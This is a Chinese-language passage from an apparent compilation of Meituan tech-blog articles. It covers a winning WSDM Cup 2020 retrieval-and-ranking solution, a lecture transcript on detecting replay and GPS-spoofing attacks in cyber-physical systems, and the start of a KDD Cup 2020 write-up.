15%，并且 WSDM 历来注重前沿技术的落地应用，每届大会设有的 WSDM Cup

环节提供工业界真实场景中的数据和任务用以研究和评测。

今年的 WSDM Cup 设有 3 个评测任务，吸引了微软、华为、腾讯、京东、中国科

学院、清华大学、台湾大学等众多国内外知名机构的参与。美团搜索与 NLP 部继去

年获得了 WSDM Cup 2019 第二名后，今年继续发力，拿下了 WSDM Cup 2020 

Task 1：Citation Intent Recognition 榜单的第一名。

本次参与的是由微软研究院提出的 Citation Intent Recognition 评测任务，该任务

共吸引了全球近 600 名研究者的参与。本次评测中我们引入高校合作，参评团队

Ferryman 由搜索与 NLP 部 -NLP 中心的刘帅朋、江会星及电子科技大学、东南大

学的两位科研人员共同组建。团队提出了一种基于 BERT 和 LightGBM 的多模融合

检索排序解决方案，该方案同时被 WSDM Cup 2020 录用为专栏论文。

http://www.wsdm-conference.org/2020/
http://www.wsdm-conference.org/2020/wsdm-cup-2020.php
https://tech.meituan.com/2019/02/21/wsdm-cup-meituan-nlp-practice.html
http://www.wsdm-conference.org/2020/wsdm_cup_reports/Task1_Ferryman.pdf
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2. 任务简介

本次参与的任务一（WSDM Cup 2020 Task 1: Citation Intent Recognition）由微

软研究院发起，任务要求参赛者根据论文中对某项科研工作的描述，从论文库中找出

与该描述最匹配的 Top3 论文。举例说明如下：

某论文中对科研工作 [1] 和 [2] 的描述如下：

 An efficient implementation based on BERT [1] and graph neural 

network (GNN) [2] is introduced.

参赛者需要根据这段科研描述从论文库中检索与 [1][2] 相关工作最匹配论文。

在本例中：

与工作 [1] 最匹配的论文题目应该是：

 [1] BERT: Pre-training of deep bidirectional transformers for language 

understanding.

与工作 [2] 最匹配的论文题目应该是：

 [2] Relational inductive biases, deep learning, and graph networks.

由 上 述 分 析 可 知， 该 任 务 是 经 典 的 检 索 排 序 任 务， 即 根 据 文 本 Query 从 候 选

Documents 中找出 Top N 个最相关的 Documents，核心技术包括文本语义理解和

搜索排序。
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2.1	评测数据

本次评测数据分为论文候选集、训练集、验证集和测试集四个部分，各部分数据的表

述如表 1 所示：

表 1　评测数据分析表

对本次评测任务及数据分析可以发现本次评测存在以下特点：

 ● 与工业界的实际场景类似，本次任务数据量规模比较大，要求制定方案时需要

同时考虑算法性能和效果，因此相关评测方案可以直接落地应用或有间接参考

的价值；

 ● 为了保证方案具有一定落地实用价值，本任务要求测试集的结果需要在 48 小

时内提交，这也对解决方案的整体效率提出了更高的要求，像常见的使用非常

多模型的融合提升方案，在本评测中就不太适用；

 ● 跟自然语言处理领域的一般任跟自然语言处理领域的一般任务不同，本次评测

任务中数据多来源于生命科学领域，存在较多的专有词汇和固定表述模式，因

此一些常见的方法模型（例如在通用语料上预训练的 BERT、ELMo 等预训练

模型）在该任务上的直接应用是不合适的，这也是本次任务的难点之一。

2.2	评测指标

评测使用的评价指标为 Mean Average Precision @3 (MAP@3), 形式如下：
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其中，|U| 是需要预测的 description 总个数，P(k) 是在 k 处的精度，n 是 paper 个

数。举例来说，如果在第一个位置预测正确，得分为 1；第二个位置预测正确，得分

为 1/2；第三个位置预测正确，得分为 1/3。

3. 模型方法

通过对评测数据、任务和评价指标等分析，综合考量方案的效率和精准性后，本次评

测中使用的算法架构包括“检索召回”和“精准排序”两个阶段。其中，检索召回阶

段负责从候选集中高效快速地召回候选 Documents，从而缩减问题规模，降低排序

阶段的复杂度，此阶段注重召回算法的效率和召回率；精准排序阶段负责对召回数据

进行重排序，采用 Learning to Rank 相关策略进行排序最优解求解。
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3.1	检索召回

目标任务：使用高效的匹配算法对候选集进行粗筛，为后续精排阶段缩减候选排序的

数据规模。

性能要求：召回阶段的方案需要权衡召回覆盖率和算法效率两个指标，一方面召回覆

盖率决定了后续精排算法的效果上限，另一方面单纯追求覆盖率而忽视算法效率则不

能满足评测时效性的要求。

检索召回方案：比赛过程中对比实验了两种召回方案，基于“文本语义向量表征“和

“基于空间向量模型 + Bag-of-Ngram”。由于本任务文本普遍较长且专有名词较多

等数据特点，实验表明“基于空间向量模型 + Bag-of-Ngram”的召回方案效果

更好，下表中列出了使用的相关模型及其实验结果（recall@200）。可以看到相比

于传统的 BM25 和 TFIDF 等算法，F1EXP、F2EXP 等公理检索模型（Axiomatic 

Retrieval Models）可以取得更高的召回覆盖率，该类模型增加了一些公理约束条

件，例如基本术语频率约束，术语区分约束和文档长度归一化约束等等。

F2EXP 定义如下：

其中，Q 表示查询 query ,D 表示候选文档，C(t, Q) 是词 t 在 Q 中的频次，|D| 表示

文档长度，avdl 为文档的平均长度，N 为文档总数，df(t) 为词 t 的文档频率。

为了提升召回算法的效果，我们使用倒排索引技术对数据进行建模，然后在此基础

上实现了 F1EXP、DFR、F2EXP、BM25、TFIDF 等多种检索算法，极大了提升

了召回部分的运行效率。为了平衡召回率和计算成本，最后使用 F1EXP、BM25、

TFIDF 3 种算法各召回 50 条结果融合作为后续精排候选数据，在验证集上测试，召

回覆盖率可以到 70%。
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3.2	精准排序

精排阶段基于 Learning to Rank 的思想进行方案设计，提出了两种解决方案，一种

是基于 Pairwise-BERT 的方案，另一种是基于 LightGBM 的方案，下面分别进行

介绍：

1) 基于 BERT的排序模型

BERT 是近年来 NLP 领域最重大的研究进展之一，本次评测中，我们也尝试引入

BERT 并对原始模型使用 Pointwise Approach 的模式进行改进，引入 Pairwise 

Approach 模式，在排序任务上取得了一定的效果提升。原始 BERT 使用 Pointwise

模式把排序问题看做单文档分类问题，Pointwise 优化的目标是单条 Query 与

Document 之间的相关性，即回归的目标是 label。而 Pairwise 方法的优化目标是

两个候选文档之间的排序位次（匹配程度），更适合排序任务的场景。具体来说，对原

始 BERT 主要有两点改进，如下图中所示：

改进训练样本构造形式：Pointwise 模式下样本是按照形式构造输入，Pairwise 模

式下样本按照形式进行构造，其中 Query 与 Doc1 的匹配程度大于与 Doc2 的匹

配程度。
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改进模型优化目标：Pointwise 模式下模型使用的 Cross Entropy Loss 作为损失函

数，优化目标是提升分类效果，而 Pairwise 模式下模型使用 Hing Loss 作为损失函

数，优化目标是加大正例和负例在语义空间的区分度。

在基于 BERT 进行排序的过程中，由于评测数据多为生命科学领域的论文，我们

还使用了 SciBERT 和 BioBERT 等基于特定领域语料的预训练 BERT 模型，相比

Google 的通用 BERT 较大的效果提升。

2) 基于 LightGBM的排序模型

不过，上面介绍的基于 BERT 的方案构建的端到端的排序学习框架，仍然存在一些

不足。首先，BERT 模型的输入最大为 512 个字符，对于数据中的部分长语料需要

进行截断处理，这就损失了文本中的部分语义信息；其次，本任务中语料多来自科学

论文，跟已有的预训练模型还是存在偏差，这也在一定程度上限制了模型对数据的表

征能力。此外，BERT 模型网络结构较为复杂，在运行效率上不占优势。综合上述三

方面的原因，我们提出了基于 LightGBM 的排序解决方案。

LightGBM 是微软 2017 年提出，比 Xgboost 更强大、速度更快的模型。LightGBM

在传统的 GBDT 基础上有如下创新和改进：
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采用 Gradient-based One-Side Sampling(GOSS) 技术去掉很大部分梯度很小的

数据，只使用剩下的去估计信息增益，避免低梯度长尾部分的影响；

采用 Exclusive Feature Bundling(EFB) 技术以减少特征的数量；

传统 GBDT 算法最耗时的步骤是使用 Pre-Sorted 方式找到最优划分点，其会在排

好序的特征值上枚举所有可能的特征点，而 LightGBM 中会使用 histogram 算法替

换了 GBDT 传统的 Pre-Sorted，牺牲一定精度换取了速度。

LightGBM 采用 Leaf-Wise 生长策略，每次从当前所有叶子中找到分裂增益最大的

一个叶子，然后分裂，如此循环。因此同 Level-Wise 相比，在分裂次数相同的情况

下，Leaf-Wise 可以降低更多的误差，得到更好的精度。

基于 Light GBM 的方案需要特征工程的配合。在我们实践中，特征主要包括 Statis-

tic Semantic Features（包括 F1EXP、F2EXP、TFIDF、BM25 等）、Distributed 

Semantic Features（包括 Glove、Doc2vec 等）和 Ranking Features（召回阶段

的排序序列特征），并且这些特征分别从标题、摘要、关键词等多个维度进行抽取，

最终构建成特征集合，配合 LightGBM 的 pairwise 模式进行训练。该方法的优点是

运行效率高，可解释性强，缺点是特征工程阶段比较依赖人工对数据的理解和分析。
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4. 实验结果

我们分别对比实验了不同方案的效果，可以发现无论是基于 BERT 的排序方案还是

基于 LightGBM 的排序方案，Pairwise 的模式都会优于 Pointwise 的模式，具体实

验数据如表 2 所示：

表 2　不同方案实验结果

5. 总结与展望

本文主要介绍了美团搜索与 NLP 部在 WSDM Cup 2020 Task 1 评测中的实践方

案，我们构建了召回 + 排序的整体技术框架。在召回阶段引入多种召回策略和倒排

索引保证召回的速度和覆盖率；在排序阶段提出了基于 Pairwise 模式的 BERT 排

序模型和基于 LightGBM 的排序模型。最终，美团也非常荣幸地取得了榜单第一名

的成绩。

当然，在对本次评测进行复盘分析后，我们认为该任务还有较大提升的空间。首

先在召回阶段，当前方案召回率为 70% 左右，可以尝试新的召回方案来提高召回

率；其次，在排序阶段，还可以尝试基于 Listwise 的模式进行排序模型的训练，相

比 Pairwise 的模式，Listwise 模式下模型输入空间变为 Query 跟全部 Candidate 

Doc，理论上可以使模型学习到更好的排序能力。后续，我们还会再不断进行优化，

追求卓越。
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6. 落地应用

本次评测任务与搜索与 NLP 部智能客服、搜索排序等业务中多个关键应用场景高度

契合。目前，我们正在积极试验将获奖方案在智能问答、FAQ 推荐和搜索核心排序

等场景进行落地探索，用最优秀的技术解决方案来提升产品质量和服务水平，努力践

行“帮大家吃得更好，生活更好”的使命。
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美团内部讲座｜清华大学莫一林：信息物理系统中
的安全控制算法

作者：莫一林

【Top Talk/ 大咖说】由美团技术学院主办，面向全体技术同学，定期邀请美团各技术

团队负责人、业界大咖、高校学者及畅销书作者，为大家分享最佳实践、互联网热门

话题、学术界前沿技术进展等内容，从而建立工程师文化、提升技术视野。

2020 年 9 月 10 日，Top Talk 邀请到了清华大学自动化系莫一林副教授，请他带来

题为《信息物理系统中的安全控制算法设计》的分享。本文系本次分享内容的文字实

录，希望能对大家有所帮助或者启发。

以下系文字实录：

中文讲的“安全”，其实基本上包含了英文中的两重含义，一个是 Safety，一个是

Security。信息物理系统中的安全问题主要是指 Security，也就是说，如果有人想要

攻击你，在这种情况下，怎么能够保证系统的正常运行？

信息物理系统

“信息物理系统”，这个词大概是 2006 年由美国的 National Science Foundation

（美国国家科学基金会）最开始提出来的。信息物理系统本质上来说是 Computation

（计算）、Communication（通讯）、Control（控制）三 C 的融合，把三个 C 互相之间

结合起来，嵌入到一个物理世界当中，从而能够使得整个系统更好地感知或者控制物

理世界。比如，无人驾驶就是一个信息物理系统，因为无人驾驶本身是有一个物理的

实体，有很多传感器来收集数据，这些数据经过通讯上传到计算机或者云上面，同时

车和车之间可能还有通讯，然后去做感知、去做导航，再反馈到无人车的执行单元，

最后反馈到物理空间。这些过程既包括了计算，也包括了控制的一些问题。
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其实，信息物理系统是一个很大的概念。之前大家说安全，其实更多的是想到计算机

安全或者网络安全，现在更多的是手机这类智能设备的安全。但是，信息物理系统安

全为什么现在被提上了议程？这其中主要的原因是传统的控制系统，比如汽车内部的

通讯是通过 CANBUS 实现的，这样的通讯本质上来说是一个独立的、专用的网络，

并不和其他网络产生任何的连接。所以在这种情况下，就很难去大规模地攻击这样一

个系统。

信息物理系统的安全威胁

但是，现在智能化逐渐成为了一种趋势，而且智能化的一个核心的事情，就是要使用

很多新兴的感知和网络的技术，实现万物互联。在这种背景下，就会产生非常多的问

题，因为所有东西都联网了，那么系统受到攻击的可能性就放大了很多。在这种情况

下，怎么保证整个系统的稳定性或者说维护系统正常运行，这是一个很大的挑战。
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上图是我们之前说的智能家居的一个示意图。智能家居希望人们可以通过比如手机

App 去控制家里的电器，但是一旦家里的电器都上网之后，智能家居控制系统的安全

就会变得非常重要，如果当一个攻击者可以操纵成千上万个家庭电器的话，这就可能

带来非常严重的问题。

震网病毒

我们实验室从 2010 年前就开始做信息物理系统安全方面的研究。当时，有黑客设计

了“震网病毒”，它的目标是伊朗用来提纯铀 235 的离心机。“震网病毒”破坏了伊

朗上千台的离心机，最后对伊朗核计划造成了很大的损害。这也算是一个利用“信息

战”成功带来破坏的一个例子。也是因为这个事情，让我们把信息物理系统的安全问

题迅速提上了日程。

“震网病毒”的例子属于国家行为，可能比较少见，现在针对一般信息物理系统的攻

击行为也越来越多。比如 2016 年，美国机构的报告就指出，全年一共有 290 多次针
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对美国工业控制系统的攻击，覆盖了制造业、通讯、能源等多个行业。

攻击有很多种类型，先说比较常见的。如果系统联网，可以通过网络去侵入系统；即

使系统没有联网，那么还有一些方式方法，比如像“震网病毒”的例子，是通过 U

盘一层一层带进去的。这些方式都能造成很大的破坏。我觉得比较值得关注的是第二

个问题，一般做控制或者这种背景的研究人员，很多时候对计算机安全并不是特别有

经验，那么开发的系统就可能会存在很多的漏洞。甚至有很多软件的开发者自己都不

知道自己的系统有漏洞，但是黑客就可以发现你的漏洞。比如说像“震网病毒”的例

子，伊朗不知道系统有问题，但黑客有内部资料，发现这个系统有问题，然后就利用

这种漏洞去侵入了伊朗的系统。

大家比较担心的一个事情就是现在的系统变得越来越复杂，比如一辆车可能有几百个

ECU（Electronic Control Unit），一个波音 787 可能有上百万个零件，这上百万零

件中的 70% 都是外包出去的，而一级外包商可能再外包给二级、三级，最后整个供

应链就变得很复杂，这相当于是全球生产，最后汇集到西雅图去装配。那么在这个过

程中，怎么保证装到系统上的每一个零件都是安全的，这也是一个值得思考的问题。

黑客攻击汽车系统

其实，在传统的汽车信息物理系统当中，漏洞还是有很多的。 比如 2015 年有一个比
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较著名的事件，有两个黑客（这两个人应该只是研究者，并不是真的想要搞破坏）通

过攻击克莱斯勒吉普的一款车，入侵了这辆车的显示信息，就是所谓的 implemen-

tation，还包括一些娱乐系统，然后通过这个系统，进入车内部的网络来控制这个车，

比如说方向、控制刹车，甚至包括安全气囊等等。

有人可能会说，像你们碰到这些问题，在计算机里面也都有，而且已经研究了很长时

间了，为什么还要单独提这样一个概念，这个信息物理系统安全中到底有什么新的

东西吗？我觉得这个核心价值在于：传统的研究主要都是在所谓的 Cyber Physical 

System。而信息物理系统，它的核心的是说那些有“物理”的系统，那么这个物理

系统就带来了很多的挑战。首先，从传统上来说，如果一个计算机受到攻击，最差

的情况，也就是将这个计算机关闭就结束了。但是如果是一个高速行驶的车，无法将

它直接关闭，只能让它缓慢地停下来，但是停下来这件事情本身因为有物理系统的参

与，所以就不是一个简单的事情。而对于无人机来说，甚至都不能让它停下来，必须

让它以一定的速度去飞，因为如果是固定翼无人机，停下来就可能意味着坠毁，所以

在这个过程中，物理系统带来了很多的挑战。

另外一个问题是，我们不一定能够让物理系统停下来，比如说如果一个电网受到攻

击，那么我们希望能够尽可能把被攻击的地方隔离出来，而不是要让整个地区比如北

京市出现停电。这个意思就是说，在系统受到攻击的时候，要让这个系统还能带着

“伤”去运行，而不是一旦有一点风吹草动就需要重启，这个也是一个很大的问题。

最后，这些物理系统其实都需要非常高的可靠性，比如对飞机来说，我们之前跟波音

做过一些项目，他们要求放上飞机的任何东西都需要经过鉴定，必须保证飞机有极高

的可靠性，要远远高于杀毒软件要能检测出 99% 病毒的这种可靠性。很多传统的信

息安全方法，都是一个所谓的 Best of Effort Approach，就是说，尽可能地提供能

提供的最好的服务，但是并不能给出特别多的保证，因为对于一些需要非常高可靠性

的系统，即便存在很小的可能也许就隐藏着一个很大的威胁。
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为信息物理系统构建“护城河”

在信息物理系统里面，为了保证这个系统的安全，我们需要保证这个系统有非常高的

可靠性。其实，任何一个单一的方法都是很难完成这个目标的，我们需要是一个多层

的防御机制，它就像一个城堡一样，外面还有一个护城河，中间有一个城墙，里面还

有一个城墙，必须要层层地设防，只有这样才能解决这个问题。

我觉得这其中有几个比较关键的点，比如 Prevention、 Detection、 Resiliency 、

Recovery。其中，Prevention 就是怎么防止别人进来，那么这个地方可能是需要

更好的防火墙，比如说杀毒软件等等这些东西。当然，我们不可能百分之百地把别人

都挡在系统之外，如果有人进来了之后，我们就需要去检测这个系统到底有没有被入

侵，包括在一个大的系统怎么去定位哪几个部分被入侵了，这就是所谓的 Detection。

另外，我们设计一个系统，需要考虑到一定的 Resiliency，比如说有一个汽车上面有

一个零件坏了，这个系统就完蛋了，那么这个系统就不是很有韧性，所以系统能不能

带“伤”运行，也是一个需要考虑的因素。最后，当发现这个系统出现问题之后，我

们可能就会需要有一个所谓的恢复过程，比如重启等等手段。整体来说，我觉得要通

过很多方面，通过多层防御来保证信息物理系统的安全。
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信息物理系统中的安全控制算法

今天，我想给大家讲一讲我们在信息物理系统做的一些比较初步的工作，主要讲两个

方面：一个是检测，一个是韧性。 首先，从控制这个方式来说，怎么去思考信息物理

系统安全性这个问题？当然，并不是说控制就能够彻底解决这个问题，还是需要一个

多层的防御。

控制

控制，到底能给我们带来什么 ? 以离线设计系统为例，首先我们可以通过控制找到这

个系统关键的部件，然后对这些部件做额外的冗余设计。在这个系统没有上线之前，

我们可以对系统做一些可控、可观的分析，进而提升系统本身的韧性；上线之后，我

们可以利用传统的方法如故障诊断，当然这里就变成了入侵诊断和入侵定位的问题。

此外，我们还可以做一些鲁棒控制，保证系统的控制器在有攻击情况下依然能够容

错。最后还有一个问题，一个大的系统想要让它更安全，我们到底应该先加固哪个地

方？这都是控制可以提供给我们的一些东西。

检测

接下来，我主要讲一下关于检测的问题，我们也是受到“震网病毒”例子的启发之后

开始做了相关的研究。“震网病毒”是 2010 年被发现的，从计算机的角度来说，它

是一个很复杂的、很难防御的病毒。但是从控制角度来说，它的策略其实相当简单。

离心机本身是一个类似于快速旋转东西，如果想要毁坏离心机，那就需要让它转的比

原本设定的转速快很多，但是如果只是让它转的特别快的话，由于整个系统有传感

器，传感器就会发现离心机转速太快，从而触发报警，报警之后就会有技术人员前来

检查，整个过程并不能对这个系统造成很大破坏。

但是，“震网病毒”采取的一个策略是先不去攻击这个系统，而是在这个系统正常运

行的时候，记录下它的传感器输出是什么情况（比如说离心机的转速）。为了很好地说

明问题，我们假设离心机每秒 1000 转，“震网病毒”就记录了很多这样的数据。然

后，当真正开始去攻击系统的时候，震网病毒就会把它记录的数据做一个重放，就是
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说把整个系统的转速调到比如 2000 转的时候，会使用之前正常的数据去替换异常数

据，那么系统操作员看到依然是正常的转速，就不会察觉这个系统已经出现问题了。

比如在一些警匪片中，匪徒会去把他们想要抢劫的地方的监控视频的影像做一个重

放，比如用前一天没有异常的影像去覆盖掉抢劫的影像，跟“震网病毒”的策略很类

似，在信息安全领域也是比较常见的“重放”攻击。

大家可以简单地看一下这个系统的框图，比如说我们做一个离心机或者一个其他的物

理系统，需要做控制。那么我们使用传感器去监测这个系统，传感器的输出会给一个

估计器，对于无人驾驶来说，可能这个应该叫感知，而不能简单地叫估计，因为它的

功能可能会更复杂。但不管怎样的系统，我们都需要通过一个这样的东西，对收集到

的信息做一个处理，然后得到系统的状态，再根据状态来设计系统的控制，最后反馈

给物理系统。估计器可能还会输出一些信息传递到故障检测器里面，然后故障检测器

会检测收到的信息 y(k) 是不是有问题，大概就是这样的一个系统。
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对于攻击来说，也分成了两个阶段，第一阶段攻击者先不去修改系统控制这一部分，

只是被动的去记录一些传感器的信号。当记录足够多的传感器信号之后，进入第二阶

段，开始去修改系统的控制信号，修改这个信号的同时，攻击者还要做的另外一件

事，就是要把系统的传感器的这一边给断开，从而把传感器的真实数据替换成之前记

录的正常数据。
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由于系统本身是有故障检测器的，所以最原始的系统在设计的时候根本没有考虑安全

性，没有考虑是否能检测出来所谓的“重放”攻击。事实上，“重放”攻击并不是总

是有效的，我们发现有一些系统可以检测到“重放”攻击，而有一些系统是不能检测

的。如上图所示，Y 轴表示检测器报警的概率，报警概率最大值是 1。整个系统的重

放是在时刻零开始，那么作为第一个系统，也就是蓝线标记的系统，我们可以看到在

重放开始的时候，它有一个比较短暂的损害过程，就是说这个时候报警的概率有一

些，但是也不是特别高，然后很快报警概率就缩减到一个接近于 0 的值；而第二个系

统，也就是红线标记的系统，我们发现它的报警概率随着“重放”变得越来越高，最

后会趋向于 1。

但是，很多系统跟蓝线标记的系统一样，没有办法检测出“重放”攻击。那就可能会

陷入一个问题，攻击者会背着系统的操作人员在系统里面做一些手脚。针对这种问

题，我们设计了一种主动检测的方法。刚才所说的检测是被动的检测，通过收集很多

的传感器的信息，然后去看传感器的信息是不是和这个系统本身模型是相符合的。 但

这个方法存在一个很大的问题，比如控制离心机，它的转速就一直是 1000 转，那么

当传感器告诉我们转速是 1000 转时，事实上这个传感器从某种角度来说就没有给我
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们任何信息，因为系统控制的很好。

我们的想法是能否可以不把系统控制得这么好，我们主动在控制信号中加一个扰动信

号，也可以叫做水印信号。这就是说水印信号是藏在真实的控制信号中的一个比较小

的噪声。如果我们的系统没有受到攻击的话，那么这个噪声就会被传感器监测到，然

后进入估计器，估计器能够在传感器输出的信号中识别这个噪声。当系统遭遇了“重

放”攻击，因为系统的这个噪声是完全随机的，那么传感器里面的随机信号跟现在接

收到的随机信号就对应不上，因为现在接受到的随机信号是之前的信号“重放”过来

的。因此，我们可以通过添加一个这样小的扰动的方式去刺激这个系统，然后让这

个系统对这个小的扰动产生一个响应，这样我们就可以去检测出这个系统到底有没有

出问题了。我们称这种方式为主动检测方式，主动地去激励系统，而不是被动的去收

集信息。其实，这个方法也跟计算机科学领域所说的 Challenge-Response 比较相

似，通过给这个系统一个 Challenge，然后这个系统就要返回 Response，这样就

能感知到整个系统、整个控制回路是不是都是完好无损的。

上图是我们做的一些实验的结果。针对的是一个非常简单的系统，大家可以认为这个

是噪声的能力，我们发现随着加的能量越高，检测的概率会变得越高。我们大概的处

理思路就是这样的，后面会有一些技术的问题，比如说加个扰动信号进去之后，系统
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的控制就没那么好，这产生代价会有多大？ 代价和检测性能之间会存在什么样的关

系？其中的 Trade Off 到底应该怎么样去做权衡？我们可以把它看成一个类似于优化

的问题，然后我们可以去做一个求解。

事实上，我们现在做的这些设计都是基于模型已知的，因为做系统控制通常来说大部

分都是假设系统模型已知的。目前，基于数据的方式越来越流行了，我们也尝试去做

了一些数据驱动的实验。其中我们需要作一些简单的假设，比如系统本身是稳定的，

我们知道 x 到底有几维，其他具体的参数假设是未知的。然后我们可以去做一些数据

驱动的方式。想法也很简单，就是我们要在这个地方加一个随机信号，加了这个随机

信号，这个系统会产生一些刺激，产生这些刺激之后，我们就可以通过输入和输出的

关系来对系统内部的具体参数做一些推断。关于最好的信号具体应该怎么加？检测装

置应该怎么去做？这些属于具体的细节，在这里我就不展开仔细讲了。下面是我们针

对化工领域常用的 TEP 系统做的一个仿真。虚线是我们在没有模型知识的情况下，

通过数据学习了水印信号和检测器的最优设计，得到的检测器的输出。可以看到，跟

有模型的实线吻合得非常好。另外，这个系统在 100 时刻收到了“重放”攻击，可

以看到我们的水印方法可以有效地检测到攻击。
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算法设计

下面我想讲的是一个有韧性的算法到底应该怎么去设计。这里讲的也是一个非常简单

的问题，类似于一个简单的状态估计的问题。比如说自动驾驶的汽车里面有很多传感

器都可以给这个车做定位，比如雷达、GPS、IMU、视觉传感器，那么我们应该怎么

把这个东西给融合起来，这就是一个很传统的状态估计的问题。

这是一个非常简化模型，有很多传感器，每一个传感器都在测量一个叫做状态的东

西，这个状态是记做 x，传感器的测量值记做 z。当然这里指的是一个简化的线性高

斯模型，就是说测量值是真实状态的一个线性函数加上一定的噪声。比如说最简单的

例子：有三个传感器，这三个传感器都在测量位置，这个位置在这里假设它是一个一

维的信号，三个传感器都在测量位置，都带有一些噪声。这种情况下融合的规律很简

单，就是求这三个测量值的平均值，也可以证明在很多意义下是最大似然，或者是最

小均方误差的一个估计，这些都不是很很难。

但是问题是，如果针对这样的一个估计器，假设有一个传感器存在很大的问题，比如
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说有一个传感器它可能特别大或者特别小，就会把整体的估计值带偏，那么这就会产

生一个非常严重的后果。当然这个问题也可以说非常简单，因为这三个传感器都在测

量同样的内容，就知道这三个传感器的测量值应该是接近的，如果其中有一个跟另外

两个之间差距很大，那么我们就可以认为这个传感器是存在问题的，就可以把它剔除

出去。这其实是一种叫做坏数据检测的想法，就是把跟其他数据不匹配的数据给剔除

掉，这样的做法感觉上是比较简单，但是其实也不是那么简单。因为这个模型是一个

非常简单的模型，就是三个传感器都在测一个同样的东西、同样的状态，因此可以说

如果有一个跟其他两个差得很多，就是这个传感器有问题。但是假设我们在测不同的

状态，比如说有的传感器在测这个房间的温度，有的在测走廊的温度，有的在测另一

个房间的温度，那么它们之间的数据怎样叫做匹配，怎样叫做不匹配，这个问题就变

得很复杂了。再比如说，无人驾驶车的 GPS 和雷达都在测位置，但是两个位置可能

是在不同时间测的，假如这个传感器告诉我现在在这里，而另外一个传感器告诉我说

下一个时刻在那里，这种情况下判断这两个数据到底匹配不匹配，这个就是一个很复

杂的问题。

因此，我们这个地方的想法是能否可以不用这种坏数据检测的方法，因为使用坏数据

检测，首先必须要定义什么叫数据匹配。实际上，定义的一般的方法，也是先做一个

状态估计，然后通过状态估计去算残差，再通过残差去确定数据是不是匹配，而我们

想直接把一个好的状态估计计算出来。所以这里我们考虑这样的一个问题，z 是一个

真实的传感器的估计值，我们认为这个估计值等于状态的一个线性函数加上一个噪

声，可能会有一些传感器受到攻击，那么要额外在这真实的估计值上加上一个攻击

项。z 里面既有噪声也有攻击，噪声一般考虑是一个比较小的数，比如像高斯可能有

一个固定的方差，它不会特别大，但是噪声会影响到所有的传感器。而作为攻击来

讲，我们认为攻击和噪声不一样，攻击可能是一个任意值，也就是说它可能很大也可

能很小，但是这个攻击只能影响有限的传感器，比如整个系统里面有 10 个传感器，

可能只有 1 个受到攻击，如果 10 个都受到攻击，当然这个系统基本上就完蛋了，所

以一般只有一小部分传感器受到攻击，然后在这种情况下，我们到底应该怎么去解决

这个问题。
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我们提出利用凸优化的方法去求解这个问题，大概想法是：每一个传感器的测量值，

当然这个测量值可能是受到攻击之后的值，假设这个系统既没有攻击也没有噪声的

话，那么应该是等于。但是，因为有可能有攻击，也有可能有噪声，所以这个东西肯

定是不相等的，就认为它是第个传感器的残差，肯定不是等于 0 的。那么在这种情况

下，我们希望找到一个很好的 x 让残差尽可能小，就是希望去最小化这样一个残差的

函数。我们在这里假设是凸的，同时它是对称的、非负的。事实上也可以证明有很多

种的估计器，都可以写成这种形式，比如说刚才我们说的最小二乘估计器。

我们可以再看一些例子，比如有这样的一个问题，还是跟刚才完全一样，有三个传感

器都在监测状态，然后同时有一些噪声，然后假设有一个传感器可能会受到攻击。在

这种情况下，如果去优化平方的话，肯定是有问题的，因为平方得出来的是说你的状

态估计应该是平均值，平均值本身是不太稳定的。但是你不去优化平方和而是优化绝

对值的和，那么这样的话你的估计就会是一个中位数，中位数就是说去掉最大、去掉

最小，中间的那个数，那么这样的话，应该是一个比较好的结果。

通过这个东西，我们就可以得到类似于一个安全估计的一个充分条件，就是说你需要

保证两件事情，当然这个是从数学上来说比较简单的想法。就是说首先每一个人所能

产生的力必须是一个有限的，这个力其实本质上来说就是斜率，就是说它的最大的斜

率必须是有限的。然后，另外就是说，你任何 P 个人所产生的力一定要小于剩下的人

所产生的力，因为在这里我假设有 P 个人可能是有问题的，这样的话 P 个人会有问

题的话，不会把整个系统给带跑，大概是这样。当然，反过来你可以证明这两个条件

也是必要的。
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当然，我们后面还做了很多关于动态系统的，因为时间可能不太多，这里就不展开

了。2015 年到 2018 年期间，我在新加坡，当时我们接了新加坡国防部一个关于自

动驾驶的项目，他们也是比较关心自动驾驶中的安全问题，这里给大家展示的是我们

在一个仿真系统上做的一些东西。

问题是这样的，现在系统里面一共是有三个用于定位的传感器：IMU、雷达、GPS。

其中，这条黄色的线是 GPS 告诉我的位置，大家可以看到 GPS 逐渐偏移真实的位

置，这个原因是因为我们在这个系统里面加了一个 GPS 的欺骗工具。这种工具也是

比较常见，之前也有过伊朗通过 GPS 欺骗攻击，捕获了美国的一个无人机，因为那

个无人机认为它已经飞到一个安全的地方，就降落了，但是其实那个地方是伊朗的占

领区，然后它就被捕获了。

因为 GPS 信号是一个单方向，通讯员其实是没有办法去确认 GPS 信号是不是真的，

所以如果我们有一个发射器，发射一个更强的信号，把真实的 GPS 信号压过去，那

么在这种情况下你得到 GPS 就是错的。

这张图是我们采用传统的信息融合方式 EKF 把 IMU、雷达、GPS 做一个融合，粉

色的是我们做了一个融合的信息。这个时候，你也可以看到粉色线的已经偏出去了，

最后偏的有两米左右这个距离，就大概偏出了一个车道，就因为 GPS 的信号被人劫

持了。这张图是我们后面加了一些安全的设计结果，会发现当你偏得比较小的时候，

你是没有办法检测出来到底是由噪声引起还是由攻击引起的。
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但是，如果当 GPS 偏非常大的时候，我们在这个地方就可以发现 GPS 信号是有问

题的，然后我们就会把三个传感器融合变成只用雷达和 IMU 两个传感器去做融合。

这样的一个效果，就等于说已经检测出来 GPS 有问题。

总结

今天讲的 Technical 的东西比较多，主要就是想跟大家聊一聊信息物理系统的安全，

因为安全本身就是一个挺重要的问题。其次，从控制的角度来说，我们对这一方面的

东西有一些自己的思考，可能跟传统的计算机方向相比，大家思考的方式可能也不是

特别一样，但是我依然觉得，最终的一个解决方案应该是很多学科共同去协作配合，

然后产生一个多层、多种角度、多种手段这样一个防御机制。

我今天主要讲的一个是入侵检测，一个是状态估计这样的两个问题。 事实上这个理念

单纯从控制角度来说也面临很多的挑战，现在这个领域大概也就是 10 年左右才能有

一些成果，但是我觉得还是要多多学习。我希望做的一些东西，能够给真实的信息物

理系统提供一些额外的安全保障。

感谢大家！
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KDD	Cup	2020 多模态召回比赛季军方案与搜索
业务应用

作者：漆毅　坚强　胡可　雷军

背景

美团到店广告平台搜索广告算法团队基于自身的业务场景，一直在不断进行前沿技术

的深入优化与算法创新，团队在图学习、数据偏差、多模态学习三个前沿领域均有一

定的算法研究与应用，并取得了不错的业务结果。

基于这三个领域的技术积累，团队在 KDD Cup 2020 比赛中选择了三道紧密联系的

